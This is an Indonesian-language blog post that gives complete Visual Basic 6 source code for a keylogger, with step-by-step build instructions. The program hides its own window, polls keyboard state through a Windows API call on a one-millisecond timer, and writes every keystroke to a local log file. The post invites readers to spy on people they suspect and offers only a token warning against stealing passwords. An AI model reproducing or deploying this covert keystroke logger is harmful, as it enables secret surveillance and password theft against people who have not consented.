Source Code - keylogger ( Program Mata-mata )

Assalamu'alaikum....

Keylogger -
dari namanya udah jelas ..
aplikasi ini digunakan buat mencatat semua
aktifitas yang berhungan dengan keyboard
jadi semua ketikan kita akan tersimpan
kedalam file mylog.txt ...
mantab khan ...
bisa buat memata-matai kegiatan 
orang yang kita jurigai..
tapi ingat, jangan gunakan untuk keburukan yach...
seperti menjebol password orang ( itu ga baik, oche)
untuk menjalankannya..
coba jalankan file keylogger.exe 
trus coba kamu ketikan sesuatu ....
jreng jreng jreng ...
sekarang kamu buka file mylog.txt
di tempat project vb berada..
semua ktikan kamu akan tercatat di file tersebut..

sekarang gimana cara buatnya :

1.  Buatlah form , trus tambahkan 1 timer ( jangan lupa ubah intervalnya jadi 1 )

2. Ketikan Listing dibawah ini


'A. Fungsi API untuk mendapatkan Status Tombol di Keyboard

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

'B. Membuat Variabel Baru

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

'C. Membuat Array untuk Tombol

Private List(1 To 255) As TList
Private IndexList As Integer

'D. Memasukan Key ke TABEL

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

'E. Membuat Tabel

Private Sub Build_Table()
    Dim i As Integer
    For i = 65 To 90
        AddToTable i, Chr(i), Chr(i + 32)
    Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9"
    AddToTable Asc(" "), " ", " "
    
End Sub

'F. Mmanggil prosedur & Menghilangkan Form

Private Sub Form_Load()
    Me.Visible = False
    Build_Table
End Sub

'G. Mencatat Ke File TXT

Private Sub AddToFile(Isi As String)
    Dim Data As String
    Dim FileHandler As Long
    
    If (Dir(App.Path & "\mylog.txt") <> "") Then
        FileHandler = FreeFile
        Open App.Path & "\mylog.txt" For Input As #FileHandler
            Data = Input(LOF(FileHandler) - 2, #FileHandler)
        Close #FileHandler
    End If
    
    FileHandler = FreeFile
    Open App.Path & "\mylog.txt" For Output As #FileHandler
        Print #FileHandler, Data & Isi
    Close #FileHandler
End Sub

'H. Memeriksa Ketikan Per Detik

Private Sub Timer1_Timer()
    Dim i As Integer
    Dim a, b As Integer
    For i = LBound(List) To UBound(List)
        a = GetAsyncKeyState(List(i).kode)
        b = GetAsyncKeyState(16)
        If (a = -32767) Then
            If (b = -32768) Then
                AddToFile List(i).atas
            Else
                AddToFile List(i).bawah
            End If
            Exit For
        End If
    Next
End Sub
 

  Semoga Bermanfaat...^_^

0 komentar:

Poskan Komentar

Ramalan Buat Anda

ramalan